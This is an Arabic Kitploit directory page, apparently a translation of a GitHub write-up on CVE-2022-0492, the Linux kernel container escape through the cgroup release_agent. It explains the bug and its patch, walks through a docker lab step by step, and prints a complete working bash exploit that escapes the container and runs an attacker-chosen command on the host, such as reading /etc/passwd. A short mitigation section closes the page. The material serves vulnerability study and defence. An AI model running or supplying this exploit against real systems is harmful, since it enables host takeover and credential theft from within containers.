Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-0492 — تحليل تقني مفصل واستغلال عملي لثغرة CVE-2022-0492 في نواة لينكس للهروب من الحاويات عبر cgroup release_agent، مع إعداد مختبري خطوة بخطوة وإرشادات للتخفيف من المخاطر. | Kitploit
أدوات/GitHubGitHub/chenaotian/cve-2022-0492
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليمالهروب من الحاويةمختبرات وتدريب عملي
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

تحليل تقني مفصل واستغلال عملي لثغرة CVE-2022-0492 في نواة لينكس للهروب من الحاويات عبر cgroup release_agent، مع إعداد مختبري خطوة بخطوة وإرشادات للتخفيف من المخاطر.

عرض المستودع
3293منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-0492 تحليل الهروب من الحاوية

[toc]

ملخص الثغرة

رقم الثغرة: CVE-2022-0492

المنتج المتأثر: linux kernel - cgroup

الإصدارات المتأثرة: ~linux kernel 5.17-rc3

خطورة الثغرة: عندما لا يتم تفعيل إجراءات أمنية إضافية في الحاوية، يمكن الحصول على صلاحيات الجذر داخل الحاوية والهروب إلى المضيف.

إعداد البيئة

على نظام لينكس بنواة تحتوي على الإصدار المتأثر، يمكن استخدام docker.

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

تستخدم هذه المقالة docker كبيئة تجريبية.

مبدأ الثغرة والمعرفة ذات الصلة

طريقة استغلال هذه الثغرة أصبحت مألوفة بالفعل، لكن نقطة حدوث الثغرة هي غياب التحقق من الصلاحيات عند تعديل release_agent الخاص بـ cgroup، مما يؤدي إلى خفض عتبة استغلال الهروب بشكل أكبر (سابقًا كانت تتطلب صلاحية CAP_SYS_ADMIN، وهذه الثغرة لا تتطلب CAP_SYS_ADMIN). لمزيد من التفاصيل حول اختلاف شروط الاستغلال، انظر "شروط الاستغلال" أدناه.

نقطة حدوث الثغرة

بتحليل التصحيح، تم تعديل الدالة cgroup_release_agent_write وإضافة التحقق من الهوية. وهذا يعني أن release_agent الخاص بـ cgroup لم يعد مسموحًا للمستخدمين غير المصرح لهم بتعديله:

image-20220310201629995

لذلك تم تحديد أن هذه الثغرة هي فشل في التحكم بالوصول.

مقدمة عن cgroup

cgroup هي اختصار لـ Linux Control Group، وهي إحدى وظائف نواة لينكس، تُستخدم لتقييد موارد مجموعة من العمليات والتحكم فيها وفصلها (مثل CPU، الذاكرة، الإدخال والإخراج للأقراص، إلخ).

تحتوي cgroup على الأنظمة الفرعية التالية:

  1. devices صلاحيات الأجهزة على مستوى العمليات
  2. cpuset تخصيص عدد وحدات المعالجة (CPU) وعقد الذاكرة التي يمكن للعمليات استخدامها
  3. cpu التحكم في نسبة استخدام المعالج
  4. cpuacct إحصائيات استخدام المعالج، مثل وقت التشغيل ووقت الخنق (throttled time)
  5. memory تحديد الحد الأقصى لاستخدام الذاكرة
  6. freezer إيقاف العمليات في Cgroup مؤقتًا
  7. net_cls مع tc (التحكم في حركة المرور) لتقييد عرض النطاق الترددي للشبكة
  8. net_prio تعيين أولوية حركة مرور الشبكة للعمليات
  9. huge_tlb تقييد استخدام HugeTLB
  10. perf_event السماح لأداة Perf بإجراء فحوصات الأداء بناءً على مجموعات Cgroup

أنظمة cgroup على المضيف موجودة تحت /sys/fs/cgroup، ويمكن رؤية أنظمة cgroup الفرعية المختلفة:

image-20220311113636040

نظام cgroup الفرعي المقابل في docker هو عقدة فرعية لهذا cgroup على المضيف. عرض memory cgroup داخل docker:

image-20220311113811776

العقدة المقابلة لاسم الحاوية في دليل docker على المضيف متطابقة تمامًا:

image-20220311113853019

استخدام cgroup

يُستخدم cgroup من خلال نظام الملفات، حيث يتم تركيب cgroup إلى دليل باستخدام mount، ويتفاعل cgroup معنا عبر نظام الملفات الافتراضي VFS. يتم عرض واجهة cgroup على شكل ملفات، ويمكن استخدام عمليات الملفات مباشرة لتعيين بعض معلمات cgroup.

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

يمكن إنشاء عقدة فرعية من cgroup عن طريق إنشاء دليل فرعي تحت الدليل: mkdir /tmp/testcgroup/x.

release_agent

كل نظام فرعي (subsystem) في cgroup يحتوي على معامل notify_on_release، وقيمة هذا المعامل من النوع Boolean، إما 1 أو 0، ويمكنهما تشغيل أمر وكيل التحرير (release agent) أو تعطيله على التوالي. إذا تم تفعيل notify_on_release (بقيمة 1)، فعندما لا يعد cgroup يحتوي على أي مهام (أي عندما يخرج آخر عملية في cgroup ويصبح PID في ملف tasks فارغًا)، سيقوم نواة النظام بتنفيذ محتوى الملف المحدد بواسطة معامل release_agent. ويتم تعديل قيمة notify_on_release عن طريق تعديل ملف notify_on_release.

image-20220311114023546

تقع الثغرة عند تعديل release_agent. في الأصل، كان يكفي أن تتمكن من التعامل مع cgroup لتعديل release_agent، وكان استخدام cgroup يتطلب صلاحية CAP_SYS_ADMIN. لكن لاحقًا اكتشف الباحثون أنه يمكن الحصول على جميع الصلاحيات (capabilities) من خلال إنشاء namespace جديد باستخدام أمر unshare، وبذلك لم يعد تقييد CAP_SYS_ADMIN قائمًا، وانخفضت عتبة استغلال الثغرة بشكل كبير.

أمر unshare

وظيفة أمر unshare هي إلغاء مشاركة namespaces المحددة الخاصة بالعملية الأب المشتركة، ثم تنفيذ البرنامج المحدد والانضمام إلى namespace الجديد. وما يهمنا في استغلال الثغرة هو أن namespace الجديد الذي ينشئه unshare يمتلك جميع الصلاحيات (capabilities) بما في ذلك CAP_SYS_ADMIN.

image-20220311102635204

استغلال الثغرة

استغلال هذه الثغرة هو نفس طريقة الهروب التقليدية عبر CAP_SYS_ADMIN + cgroup release_agent، لكن شروط الاستغلال تختلف.

شروط الاستغلال

الفرق بين شروط استغلال هذه الثغرة وشروط الهروب التقليدي عبر release_agent هو:

release_agent التقليدي: يجب أن تمتلك الحاوية صلاحية CAP_SYS_ADMIN وألا يكون apparmor أو selinux مفعلًا.

cve-2022-0492: الحاوية بدون أي حماية (بتفصيل أكثر: ألا يمنع seccomp استخدام unshare، وألا يفعل apparmor وضع القراءة فقط لـ cgroup، وتعطيل selinux)، مع الحصول على صلاحيات الجذر داخل الحاوية. لا حاجة للحصول على CAP_SYS_ADMIN.

تجدر الإشارة إلى أن apparmor في docker يفعّل وضع القراءة فقط لـ cgroup افتراضيًا، وأن seccomp في docker يعطّل unshare بدون صلاحية CAP_SYS_ADMIN افتراضيًا. أما k8s فعادة ما تكون حاوياته بدون أي حماية افتراضيًا. عمومًا، نظرًا لأن الاستغلال سهل نسبيًا، يمكن تجربته في السيناريوهات المحددة.

بعد إصلاح الثغرة: وفقًا لشفرة التصحيح:

image-20220310201629995

لتعديل ملف release_agent يجب توفر شرطين:

  1. أن تكون في namespace الجذر
  2. امتلاك صلاحية CAP_SYS_ADMIN cap

لذلك بعد إصلاح الثغرة، لم يعد بإمكان صلاحية CAP_SYS_ADMIN التي تم الحصول عليها عبر unshare تعديل release_agent، لأن namespace الجديد الذي تم الحصول عليه عبر unshare ليس namespace الجذر. لكن إذا كانت الحاوية تمتلك صلاحية CAP_SYS_ADMIN في الأصل، فلا يزال من الممكن استخدام هذه الطريقة للهروب.

استغلال الثغرة

الحصول على CAP_SYS_ADMIN

إذا تم تشغيل docker مع المعامل --cap-add=SYS_ADMIN أو --privileged (حاوية مميزة)، فإنها تمتلك صلاحية CAP_SYS_ADMIN ولا نحتاج إلى الحصول عليها بشكل إضافي، مثل أمر التشغيل التالي:

root@kitploit:~
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

يمكن لـ docker الذي يمتلك صلاحية CAP_SYS_ADMIN الانتقال مباشرة إلى الخطوة التالية "تعديل release_agent". أما أمر تشغيل docker بدون صلاحية CAP_SYS_ADMIN وإعادة إنتاج الثغرة:

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

بدون CAP_SYS_ADMIN، يمكن الحصول على صلاحية CAP_SYS_ADMIN عبر أمر unshare التالي:

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

namespace الجديد الذي تم الحصول عليه يمتلك جميع صلاحيات capabilities.

image-20220311102635204

تركيب cgroup والحصول على مسار الحاوية على المضيف

قم بتركيب cgroup إلى دليل. في هذه الخطوة، نظرًا لاستخدام mount، يلزم صلاحية CAP_SYS_ADMIN. بعد الخطوة السابقة، إما أن نكون نمتلك CAP_SYS_ADMIN في الأصل، أو حصلنا عليه عبر unshare. بالإضافة إلى ذلك، نحتاج إلى إنشاء عقدة cgroup داخل cgroup الذي تم تركيبه للتو، لتسهيل عملية مسح المهام (tasks) لاحقًا:

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x

إذا تعذر تركيب memory أو لم يحتوي memory على release_agent، يمكن استخدام نظام فرعي آخر من cgroup.

من خلال ملف /etc/mtab يمكن رؤية معلومات نظام ملفات overlay الخاص بـ docker، وupperdir هو المسار المطلق لجذر الحاوية على المضيف:

image-20220311104701790

يمكن الحصول عليه عبر الأمر التالي:

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

تعديل release_agent لتفعيل الهروب

اضبط notify_on_release إلى 1 لتفعيل وظيفة release_agent بعد مسح مهام العملية:

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

أنشئ الملف الذي سيتم تنفيذه عند تفعيل release_agent:

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

عدّل release_agent ليشير إلى مسار ملف cmd على المضيف (تم الحصول على مسار جذر الحاوية على المضيف أعلاه):

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

الآن أدخل مهمة إلى عقدة cgroup x، واكتب PID الخاص بـ sh الحالي إلى ملف cgroup.procs.

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

ينفذ أمر sh تعليمة echo واحدة فقط وينتهي في لحظة، وبالتالي لن يتبقى أي مهام في عقدة cgroup x، مما يؤدي إلى تفعيل notify_on_release لتنفيذ ملف /cmd المشار إليه بواسطة release_agent. فتقوم النواة بتنفيذه خارج الحاوية لتنفيذ الأمر الذي حددناه، فيكتمل الهروب. نجاح الهروب:

image-20220311110810458

exp

وفقًا لهذه الخطوات، تمت كتابة exp:

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

قم بتشغيله مباشرة مع تمرير الأمر الذي تريد تنفيذه بعد الهروب كمعامل، مثل: ./exp.sh "cat /etc/passwd"

نجاح الهروب:

image-20220311153511050

الإجراءات التخفيفية

الحالة الافتراضية لـ docker هي تفعيل seccomp وapparmor، ولا يمكن للثغرة الهروب من الحاويات التي تفعّل القواعد الافتراضية لـ seccomp وapparmor. أما k8s فافتراضيًا لا يحتوي على أي إجراءات أمنية، لذلك يجب تفعيل seccomp وapparmor أو selinux يدويًا.

المراجع

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

بالإضافة إلى ذلك، تم سؤال الأشخاص الذين شاركوا في اكتشاف هذه الثغرة.

تنزيل الأداة